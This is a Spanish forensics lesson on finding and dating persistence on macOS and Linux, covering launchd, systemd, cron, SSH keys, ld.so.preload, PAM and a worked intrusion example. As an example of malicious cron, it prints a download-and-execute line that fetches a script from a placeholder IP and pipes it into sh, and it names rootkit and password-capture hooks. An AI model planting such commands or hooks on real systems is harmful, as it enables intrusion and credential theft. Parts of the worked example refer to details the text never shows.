Persistencia en macOS y Linux

La persistencia es cualquier mecanismo que permite a un intruso o a un malware sobrevivir a un reinicio, un cierre de sesión o un cambio de contraseña. En macOS y Linux casi siempre es un archivo: una lista de propiedades, un archivo de unidad, una línea de crontab o una clave pública. Esta lección enumera las principales ubicaciones de inicio automático de ambos sistemas y muestra cómo distinguir las entradas maliciosas de las legítimas, fecharlas y atribuirlas. La persistencia en Windows se trata en el Módulo 2.

El método del examinador

1. Enumerar todas las ubicaciones de inicio automático de esa versión del sistema operativo, tanto del sistema como de cada directorio personal, incluidos /root y las cuentas de servicio como www-data.
2. Comparar con una referencia: un sistema de la misma compilación cuyo buen estado se conozca o los registros del gestor de paquetes. Pregúntese a quién pertenece cada archivo (¿a un paquete, a un paquete de aplicación firmado por un proveedor, a ninguno?) y si el programa que inicia se encuentra en una ubicación inusual, como /tmp, /dev/shm o un archivo cuyo nombre comienza con un punto en /usr/local/bin.
3. Registrar el propietario, el modo, todas las marcas de tiempo (ext4 y APFS conservan una hora de creación), el tamaño y el SHA-256 del archivo de configuración y del programa que inicia.
4. Ordenar por tiempo y buscar elementos creados o modificados durante el intervalo del incidente; después, corroborarlos con los registros (Lección 6.4) y la evidencia de ejecución.
5. Identificar cada hallazgo con un ID de técnica de MITRE ATT&CK. Los ID son vocabulario, no evidencia: permiten comparar los informes.

ID relacionados que encontrará: T1574.006 Secuestro del enlazador dinámico (ld.so.preload), T1556.003 Módulos de autenticación conectables, T1505.003 Shell web y T1136.001 Crear una cuenta: cuenta local.

macOS

Demonios y agentes de launchd

launchd (PID 1) inicia trabajos descritos en listas de propiedades; la Lección 6.1 trata los archivos plist XML y binarios y su lectura con plutil -p.

Las carpetas de /System están protegidas por la Protección de Integridad del Sistema (SIP, OS X 10.11+) y, a partir de macOS 11, se encuentran en el volumen del sistema sellado y de solo lectura, así que busque en /Library y en las carpetas de los usuarios. Las claves relevantes:

• Label: el nombre único del trabajo, normalmente con formato DNS inverso. Una etiqueta com.apple. fuera de /System merece un examen minucioso.
• Program o ProgramArguments: el ejecutable y sus argumentos; debe localizarlo y calcular su hash. /bin/sh -c, curl u osascript son señales de alerta.
• RunAtLoad: iniciar en cuanto se cargue el trabajo (al arrancar o iniciar sesión).
• KeepAlive: reiniciar el trabajo cada vez que termine.
• StartInterval: ejecutar cada N segundos (StartCalendarInterval es la variante similar a cron).

Elementos de inicio de sesión, perfiles y otros puntos de macOS

A partir de macOS 13 Ventura, la gestión de tareas en segundo plano (BTM) realiza un seguimiento de los elementos de inicio de sesión, los agentes y los demonios de lanzamiento, notifica al usuario y los enumera en Ajustes del Sistema > General > Ítems de inicio. Su base de datos es /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, donde N cambia entre versiones. Es un plist binario en el formato de archivo con claves de Apple; en un Mac en funcionamiento, sudo sfltool dumpbtm muestra el identificador, el nombre del desarrollador, el tipo, la disposición y la ruta del ejecutable de cada elemento. Las versiones de macOS de la 10.13 a la 12 conservaban los elementos de inicio de sesión en ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.

• Los perfiles de configuración (.mobileconfig) pueden instalar certificados raíz, configuraciones de proxy, DNS o VPN, o la inscripción en MDM: control en lugar de código. Enumérelos en un sistema en funcionamiento con sudo profiles list. A partir de macOS 11, la herramienta profiles no puede instalar un perfil de forma silenciosa, por lo que un perfil malicioso implica la aprobación del usuario o el uso de MDM.
• cron y periodic siguen existiendo, pero rara vez se utilizan: crontabs de usuarios en /private/var/at/tabs/<user> y scripts en /etc/periodic/daily|weekly|monthly.
• Perfiles del intérprete de comandos: zsh es el predeterminado desde la versión 10.15. ~/.zshenv se ejecuta para cada zsh, ~/.zprofile para los intérpretes de inicio de sesión y ~/.zshrc para los interactivos, además de /etc/zprofile y /etc/zshrc. Solo se ejecutan cuando se inicia un intérprete de comandos.
• Los complementos de autorización de /Library/Security/SecurityAgentPlugins, una vez referenciados en la base de datos de autorización, se ejecutan durante el inicio de sesión con acceso a la contraseña introducida; las extensiones del kernel (/Library/Extensions, obsoletas desde macOS 10.15) y las extensiones del sistema (10.15+, systemextensionsctl list) necesitan la aprobación explícita del usuario.

Importa cómo llegó el binario. Los navegadores y Mail añaden el atributo com.apple.quarantine (Lección 6.1), por lo que Gatekeeper comprueba la firma y la notarización en el primer inicio. curl no añade ninguno, por lo que un binario depositado que no lo tenga es compatible con una descarga mediante un script. Compruebe la firma con codesign -dv --verbose=4.

Linux

Servicios y temporizadores de systemd

Los archivos de unidad se leen de /etc/systemd/system (administrador, máxima prioridad), /run/systemd/system (tiempo de ejecución) y /lib/systemd/system o /usr/lib/systemd/system (paquetes). Las unidades de usuario de ~/.config/systemd/user se ejecutan mientras ese usuario tiene una sesión iniciada, o siempre si está habilitada la persistencia de sus servicios tras cerrar sesión (/var/lib/systemd/linger/<user>).

En una unidad, [Service] contiene ExecStart= (el programa), Restart=always (reiniciar al terminar) y User=; [Install] contiene WantedBy=multi-user.target. systemctl enable actúa sobre WantedBy creando un enlace simbólico en /etc/systemd/system/multi-user.target.wants/. El enlace es un inodo nuevo, por lo que su propia hora de creación (leída sin seguirlo: stat sobre el enlace, o istat sobre su inodo) permite fechar cuándo se creó por última vez, normalmente mediante systemctl enable. Compruebe también las carpetas de configuración complementaria (<unit>.d/*.conf), que pueden sobrescribir el ExecStart= de un servicio legítimo. Los temporizadores (.timer con OnCalendar= u OnBootSec=) inician el .service del mismo nombre; enumérelos en un sistema en funcionamiento con systemctl list-timers --all.

cron, claves SSH y archivos de inicio del intérprete de comandos

La Lección 6.3 presentó las ubicaciones de cron y at. Las entradas maliciosas tienen un aspecto como * root curl -fsSL http://203.0.113.50/k.sh | sh: cada minuto, una descarga se canaliza a un intérprete de comandos. También son sospechosos los bloques de base64, un crontab para www-data o un archivo de /etc/cron.d que no pertenezca a ningún paquete.

OpenSSH lee de forma predeterminada .ssh/authorized_keys y .ssh/authorized_keys2 en cada directorio personal; compruebe AuthorizedKeysFile o AuthorizedKeysCommand en sshd_config. Cada línea contiene opciones opcionales, el tipo de clave, la clave en base64 y un comentario. El comentario es texto libre elegido por quien creó la clave y no permite atribuir nada. Opciones como command="…" (forzar un comando) o from="198.51.100.0/24" (orígenes permitidos) cambian lo que hace la clave. ssh-keygen -lf authorized_keys muestra la huella SHA256: de cada clave, que debe cotejar con líneas de sshd como Accepted publickey for root from … ssh2: ED25519 SHA256:… (Lección 6.4).

Los intérpretes Bash de inicio de sesión leen /etc/profile (que carga /etc/profile.d/*.sh) y el primero de los archivos ~/.bash_profile, ~/.bash_login y ~/.profile; los intérpretes interactivos que no son de inicio de sesión leen /etc/bash.bashrc (familia Debian) y ~/.bashrc. Busque al final de estos archivos nohup … &, alias sudo= o export LD_PRELOAD=.

Mecanismos de enganche más profundos

• rc.local e init.d: si /etc/rc.local existe y es ejecutable, systemd lo ejecuta al arrancar, y los scripts SysV de /etc/init.d se ejecutan mediante un generador de compatibilidad; systemd 260 (2026) eliminó ambos.
• /etc/ld.so.preload: normalmente no existe. Cada objeto compartido enumerado se carga en todos los programas enlazados dinámicamente, la técnica clásica de los rootkits en modo usuario para ocultar archivos y procesos a las herramientas ejecutadas en el equipo en funcionamiento.
• Módulos del kernel: /etc/modules, /etc/modules-load.d/*.conf y /etc/modprobe.d/*.conf (cuyas líneas install pueden ejecutar comandos). lsmod lee /proc/modules, que un rootkit puede falsificar; compare los archivos de módulos de /lib/modules/<kernel>/, los mensajes del kernel como module verification failed: signature and/or required key missing - tainting kernel y la memoria (Módulo 5).
• Reglas de udev: un RUN+="…" en /etc/udev/rules.d/*.rules se ejecuta ante cada evento de dispositivo coincidente.
• PAM: una línea en /etc/pam.d/ que añada pam_exec.so expose_authtok entrega cada contraseña introducida a un programa; un pam_unix.so reemplazado puede aceptar una contraseña maestra.
• Cuentas: un segundo UID 0 en /etc/passwd, nuevos miembros de sudo/wheel o archivos en /etc/sudoers.d (Lección 6.3).
• Shells web: pequeños archivos .php o .jsp bajo /var/www, propiedad de la cuenta del servidor web.

Validación con el gestor de paquetes

dpkg -V (o debsums -c) compara los archivos con las sumas MD5 registradas durante la instalación; rpm -Va comprueba también el tamaño, el modo, el propietario y mtime, y muestra indicadores como S.5....T. (tamaño, resumen y hora modificados) y c para los archivos de configuración, que cambian de forma legítima. dpkg -S <path> o rpm -qf <path> indica el paquete al que pertenece un archivo. Limitaciones: solo se comprueban los archivos que pertenecen a paquetes, de modo que una unidad nueva, un archivo de cron nuevo o una línea nueva en authorized_keys son invisibles; además, un atacante con privilegios de root puede editar la base de datos (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) o las herramientas. Es preferible utilizar los hashes de los paquetes originales obtenidos del servidor espejo de la distribución y compararlos en su estación de trabajo con el montaje de solo lectura.

Referencia rápida

Ejemplo resuelto: un falso asistente de D-Bus

Un servidor web Debian 12 (zona horaria UTC−3) sufrió una intrusión el 14 de marzo de 2026:

La unidad /etc/systemd/system/dbus-helper.service contiene ExecStart=/usr/local/bin/.dbus-helper, Restart=always y WantedBy=multi-user.target. dpkg -S no encuentra ningún paquete propietario de ninguno de los dos archivos; la unidad auténtica de D-Bus es dbus.service, en /lib/systemd/system, y el punto inicial oculta el binario en un listado simple con ls.

Fechar la habilitación. stat sobre el enlace simbólico muestra Birth: 2026-03-14 11:26:10.483920117 -0300; 11:26:10 + 3 h = 14:26:10Z. Compruébelo en el inodo sin procesar: i_crtime en el desplazamiento 0x90 contiene 02 70 B5 69, little-endian 0x69B57002 = 1.773.498.370 segundos desde 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra en 0x94 contiene D4 23 60 73 = 0x736023D4; desplazado 2 bits a la derecha da 483.920.117 ns, y sus dos bits menos significativos (00) no añaden ninguna extensión de época.

Vincular la clave. ssh-keygen -lf sobre la nueva línea da SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, idéntica a la del inicio de sesión de las 02:07:44Z, por lo que se utilizó esa clave desde una dirección nueva.

Atribución. Los tres elementos se crearon en orden dentro del intérprete de comandos de root de la sesión de deploy (de 14:18:05Z a 14:31:40Z). Las horas de creación muestran cuándo aparecieron los inodos, no quién actuó; el intervalo de la sesión aporta ese vínculo, después de comprobar wtmp y el diario en busca de otras sesiones abiertas en ese momento. touch no puede establecer crtime ni ctime, por lo que un mtime con una fecha anterior no ocultaría 14:25:02Z. Informe de T1543.002 y T1098.004.

Enfoque del examen: Prepárese para indicar qué carpeta y cuenta utiliza un trabajo de launchd, leer ProgramArguments, RunAtLoad y KeepAlive, y fechar un servicio de systemd a partir de su enlace simbólico en *.wants. Es posible que deba cotejar una huella de authorized_keys con una línea Accepted publickey, convertir una hora local de stat a UTC e indicar la ruta completa y el SHA-256 de un binario.

Puntos clave

• La persistencia es un archivo en una ubicación conocida de inicio automático; enumérelas todas, tanto del sistema como de cada usuario, y después compárelas con una referencia.
• Los LaunchDaemons se ejecutan como root al arrancar; los LaunchAgents se ejecutan como el usuario al iniciar sesión; /System/Library pertenece a Apple y está sellado.
• systemctl enable crea un enlace simbólico en *.wants/; la hora de creación del propio enlace permite fechar la habilitación.
• Demuestre qué clave SSH se utilizó cotejando su huella SHA256: con la línea Accepted publickey de sshd; ignore el comentario de la clave.
• dpkg -V y rpm -Va solo abarcan los archivos que pertenecen a paquetes y confían en una base de datos que root puede modificar.
• Los ID de ATT&CK como T1543, T1053, T1098.004, T1546, T1547 y T1037 identifican hallazgos; no los demuestran.